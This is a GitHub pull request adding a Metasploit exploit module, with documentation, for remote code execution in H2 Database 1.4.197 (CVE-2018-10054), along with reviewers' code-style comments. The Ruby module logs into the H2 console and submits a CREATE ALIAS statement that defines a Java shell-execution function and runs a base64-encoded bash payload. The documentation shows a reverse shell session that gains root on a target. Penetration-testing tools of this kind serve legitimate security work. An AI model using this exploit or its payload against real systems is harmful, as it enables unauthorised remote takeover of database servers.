Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

H2 Database Code Execution #10407

Closed
wants to merge 2 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
35 changes: 35 additions & 0 deletions documentation/modules/exploit/multi/http/h2_alias.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
## Vulnerable Application

This module exploits an arbitrary code execution vulnerability in H2 Database version 1.4.197 using the ALIAS functionality. The H2 Database is used in Datomic before 0.9.5697 and other products and a copy of the vulnerable application can be downloaded from [https://www.exploit-db.com](https://www.exploit-db.com/apps/af9c1b47ddd7f3c58aaf189e25f3b714-h2-2017-06-10.zip).
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

see other comment about version equals or <=


Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would add a link to the download: http://www.h2database.com/h2-2018-03-18.zip

## Verification Steps

Example steps in this format:
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

remove this line


1. Install the application
1. Start msfconsole
1. Do: ```use exploit/multi/http/h2_alias```
1. Do: ```set RHOST [target host]```
1. Do: ```exploit```
1. You should get a shell.

## Scenarios

Example usage against a Linux x64 bit target running H2 Database 1.4.197.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

## H2 Database 1.4.197 on Linux x64


```
msf > use exploit/multi/http/h2_alias
msf exploit(multi/http/h2_alias) > set RHOST 192.168.216.23
RHOST => 192.168.216.23
msf exploit(multi/http/h2_alias) > set PAYLOAD cmd/unix/reverse_ruby
PAYLOAD => cmd/unix/reverse_ruby
msf exploit(multi/http/h2_alias) > set LHOST 192.168.216.25
LHOST => 192.168.216.25
msf exploit(multi/http/h2_alias) > exploit

[*] Started reverse TCP handler on 192.168.216.25:4444
[*] Command shell session 1 opened (192.168.216.25:4444 -> 192.168.216.23:45390) at 2018-07-31 14:38:21 -0400
id

uid=(root) gid=0(root) groups=0(root)
```
79 changes: 79 additions & 0 deletions modules/exploits/multi/http/h2_alias.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'H2 Arbitrary Code Execution using CREATE ALIAS',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I can see h2 being a product naming collision in the future, maybe H2 Database CREATE ALIAS RCE is more descriptive but shorter?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Agreed. The original exploit name was similar; H2 Database 'Alias' Arbitrary Code Execution.

'Description' => %q{
'H2 1.4.197, as used in Datomic before 0.9.5697 and other products, allows
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is it only this version, or is it a "<= 1.4.197"?

remote code execution because CREATE ALIAS can execute arbitrary Java code.'
},
'Author' => [
'gambler', # Proof of concept
'Daniel Teixeira', # Metasploit module
'epinna', # Metasploit module
],
'References' => [
['EDB', '44422'],
['CVE', '2018-10054']
],
'DisclosureDate' => 'Apr 9 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
['H2', {}]
],
'DefaultTarget' => 0
))

register_options([
Opt::RPORT(8082),
OptString.new('JDBC_URL', [true, 'URL to the H2 Database', 'jdbc:h2:~/test']),
OptString.new('USERNAME', [true, 'H2 Database Username', 'sa']),
OptString.new('PASSWORD', [false, 'H2 Database Password', nil])
])
end

def exploit
base64_payload = Rex::Text.encode_base64("#{payload.encoded}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

can use payload.encoded.to_s i believe here instead of string interpolation. May look slightly cleaner

uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'GET'
})

resp=res.body.scan(/jsessionid=(\w+)/).flatten.first

uri = normalize_uri(target_uri.path, "login.do?jsessionid=#{resp}")

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

maybe a vprint_status('Attempting Login')

res = send_request_cgi({
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you never check to ensure the login was successful. res isn't used at all. I'd prefer a quick check to ensure the login was a success on the res variable.

'method' => 'POST',
'uri' => uri,
'vars_post' => {
'language' => 'en',
'setting' => 'Generic+H2+(Embedded)',
'name' => 'Generic+H2+(Embedded)',
'driver' => 'org.h2.Driver',
'url' => datastore['JDBC_URL'],
'user' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
res = send_request_cgi({
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe a vprint_status('Triggering RCE')

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

res is never used, in this case since you prob wont use it for anything, id just remove res =

'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/query.do?jsessionid=#{resp}"),
'vars_post' => {
'sql' => "CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\"); return s.hasNext() ? s.next() : \"\"; }$$; CALL SHELLEXEC(\'bash -c {eval,$({base64,--decode}<<<#{base64_payload})}&\')"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a long line, perhaps pulling out the java shellcode stub into a multi liner would make it easier to read?

}
})
end
end